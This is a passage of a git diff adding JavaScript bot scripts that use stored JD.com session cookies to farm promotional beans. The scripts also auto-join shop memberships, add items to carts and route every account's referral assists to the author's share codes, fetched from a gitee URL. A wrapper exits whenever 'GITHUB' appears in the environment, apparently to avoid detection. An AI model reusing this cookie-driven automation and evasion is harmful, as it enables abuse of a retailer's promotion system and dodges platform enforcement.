process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_ljd_xh.js b/jd_ljd_xh.js new file mode 100644 index 0000000..50a7f3e --- /dev/null +++ b/jd_ljd_xh.js @@ -0,0 +1,390 @@ +/* + * 领京豆,修复死循环 + * By X1a0He + * https://github.com/X1a0He/jd_scripts_fixed + * */ +const $ = new Env("领京豆"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = "", message = ``; +$.taskInfos = []; +$.viewAppHome = false; +$.isLogin = true; +$.addedGrowth = 0; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => {cookiesArr.push(jdCookieNode[item]);}); + if(process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie),].filter((item) => !!item); +!(async() => { + if(!cookiesArr[0]){ + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { "open-url": "https://bean.m.jd.com/" }); + return; + } + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message += `[京东账号${$.index} ${$.UserName}] \n`; + console.log(`[京东账号${$.index} ${$.UserName}] 正在执行...`); + await main(); + message += `\n` + await $.wait(1000); + } + } + if($.isNode()){ + console.log('正在发送通知...') + await notify.sendNotify(`${$.name}`, `${message}`) + } +})().catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); +}).finally(() => { + $.done(); +}); + +function taskUrl_xh(functionId, body){ + return { + "url": `https://api.m.jd.com/client.action?functionId=${functionId}&body=${encodeURIComponent(body)}&appid=ld&client=m&clientVersion=9.4.4`, + 'headers': { + 'Cookie': cookie, + 'UserAgent': 'User-Agent: jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)', + }, + } +} + +async function main(){ + $.addedGrowth = 0; + $.isLogin = true; + // 先领取早起福利 + console.log(`尝试领取早起福利...`) + await taskRequest("morningGetBean", `{"fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1","rnVersion":"3.9"}`) + // 获取任务列表 + if($.isLogin){ + do { + $.taskInfos = [] + await taskRequest("beanTaskList", `{"viewChannel":"AppHome"}`) + // 获取完任务列表就开始做任务了 + for(let task of $.taskInfos){ + // 任务未完成 + if(task.status === 1){ + for(let subTask of task.subTaskVOS){ + if(subTask.status === 1){ + console.log(`[${task.taskName}] 正在做任务...`) + if(task.waitDuration !== 0){ + await taskRequest("beanDoTask", `{"actionType":1,"taskToken":"${subTask.taskToken}"}`) + console.log(`[${task.taskName}] 等待 ${task.waitDuration} 秒`) + await $.wait(task.waitDuration * 1000) + await taskRequest("beanDoTask", `{"actionType":0,"taskToken":"${subTask.taskToken}"}`) + } else await taskRequest("beanDoTask", `{"actionType":0,"taskToken":"${subTask.taskToken}"}`) + } + await $.wait(3000) + } + } + } + } while($.taskInfos.length !== 0); + // 从京东首页领京豆进入 + if(!$.viewAppHome){ + console.log(`[从京东首页领京豆进入] 正在做任务...`) + await taskRequest("beanHomeIconDoTask", `{"flag":"0","viewChannel":"AppHome"}`) + if(!$.viewAppHome){ + await $.wait(2000) + await taskRequest("beanHomeIconDoTask", `{"flag":"1","viewChannel":"AppHome"}`) + } + } + message += `[本次执行] 获得成长值:${$.addedGrowth}\n` + } +} + +function taskRequest(functionId, body){ + return new Promise((resolve) => { + let options = taskUrl_xh(functionId, body); + $.get(options, (err, resp, data) => { + try{ + if(safeGet(data)){ + data = JSON.parse(data); + if(data.code === "3"){ + console.log(`用户未登录`) + message += `用户未登录` + $.isLogin = false; + return; + } + if(data.code === "0"){ + switch(functionId){ + case "morningGetBean": + if(data.data.awardResultFlag === "1"){ + console.log(`${data.data.bizMsg}, 获得京豆 ${data.data.beanNum} 个\n`) + message += `[早起福利] 获得京豆 ${data.data.beanNum} 个\n` + } else { + console.log(`执行失败,原因:${data.data.bizMsg}\n`) + message += `[早起福利] ${data.data.bizMsg} \n` + } + break; + case "beanTaskList" : + for(let task of data.data.taskInfos) task.status === 1 ? $.taskInfos.push(task) : '' + $.viewAppHome = data.data.viewAppHome.doneTask + break; + case "beanDoTask" : + if(typeof data.errorCode === "undefined"){ + if(data.data.taskStatus === 1 || data.data.taskStatus === 2){ + console.log(`${data.data.bizMsg}\n`) + $.addedGrowth += data.data.growthResult.addedGrowth + } + } else console.log(`${data.data.errorMessage}\n`) + break; + case "beanHomeIconDoTask": + if(typeof data.errorCode === "undefined"){ + $.addedGrowth += 50; + console.log(`${data.data.remindMsg}\n`) + } else console.log(`${data.errorMessage}`) + } + } + } + } catch(e){ + console.log(e); + } finally{ + resolve(); + } + }); + }); +} + +function safeGet(data){ + try{ + if(typeof JSON.parse(data) == "object"){ + return true; + } + } catch(e){ + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){this.env = t} + + send(t, e = "GET"){ + t = "string" == typeof t ? { url: t } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s)})}) + } + + get(t){return this.send.call(this.env, t)} + + post(t){return this.send.call(this.env, t, "POST")} + } + + return new class{ + constructor(t, e){this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)} + + isNode(){return "undefined" != typeof module && !!module.exports} + + isQuanX(){return "undefined" != typeof $task} + + isSurge(){return "undefined" != typeof $httpClient && "undefined" == typeof $loon} + + isLoon(){return "undefined" != typeof $loon} + + toObj(t, e = null){try{return JSON.parse(t)} catch{return e}} + + toStr(t, e = null){try{return JSON.stringify(t)} catch{return e}} + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{s = JSON.parse(this.getdata(t))} catch{} + return s + } + + setjson(t, e){try{return this.setdata(JSON.stringify(t), e)} catch{return !1}} + + getScript(t){return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i))})} + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{return JSON.parse(this.fs.readFileSync(i))} catch(t){return {}} + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)} + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){e = ""} + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null} + + setval(t, e){return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null} + + initGotEnv(t){this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))} + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){this.logErr(t)} + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)}); else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); else if(this.isNode()){ + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { url: e } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))} + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){return new Promise(e => setTimeout(e, t))} + + done(t = {}){ + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_lzdz1_customized1.js b/jd_lzdz1_customized1.js new file mode 100644 index 0000000..061af6e --- /dev/null +++ b/jd_lzdz1_customized1.js @@ -0,0 +1,585 @@ +/* +ck1 助力作者, 后续助力ck1, ck1别黑号 + +*/ +const $ = new Env("大牌联合 宠爱有礼"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let authorCodeList = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + // $.getAuthorCodeListerr = false + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/Code/raw/master/lzdz1.json') + if($.getAuthorCodeListerr === false){ + authorCodeList = [ + 'f350d71cf1314cfb99ed0dbfdd9ec3d4', + ] + } + // console.log(authorCodeList) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // authorCodeList = [ + // 'f350d71cf1314cfb99ed0dbfdd9ec3d4', + // 'c1a199579a454ce1af31fb05c96c9d67', + // 'a3d12a74c416431fa43891412898dc96' + // ] + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'unionkbblnt20220221dzlhkk' + $.activityShopId = '1000015445' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=undefined&lng=00.000000&lat=00.000000&sid=&un_area=` + await member(); + await $.wait(5000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + $.log("关注店铺") + await task('opencard/follow/shop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await task('taskact/common/drawContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + $.log("加入店铺会员") + if ($.openCardList) { + $.log(">>> 模拟上报访问记录") + for (let i = 0; i < ($.openCardList.length); i++) { + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000003005&pageId=llk20211015&elementId=入会跳转&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(1000) + } + + for (const vo of $.openCardList) { + $.log(`>>> 去加入${vo.name} ${vo.venderId}`) + if (vo.status === 0) { + await getShopOpenCardInfo({ "venderId": `${vo.venderId}`, "channel": "401" }, vo.venderId) + await bindWithVender({ "venderId": `${vo.venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.venderId) + await $.wait(1000) + } else { + $.log(`>>> 已经是会员`) + } + + } + } else { + $.log("没有获取到对应的任务。\n") + } + await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + if ($.openCardStatus) { + console.log('去助力 -> ' + $.authorCode) + if ($.openCardStatus.allOpenCard) { + await getFirstLZCK() + await getToken(); + await task('linkgame/assist/status', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`) + await task('linkgame/assist', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`) + + } + } + await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + console.log('任务 -> ') + await $.wait(2000) + await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + await $.wait(2000) + await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + console.log('抽奖 -> ') + await $.wait(2000) + await task('opencard/draw', 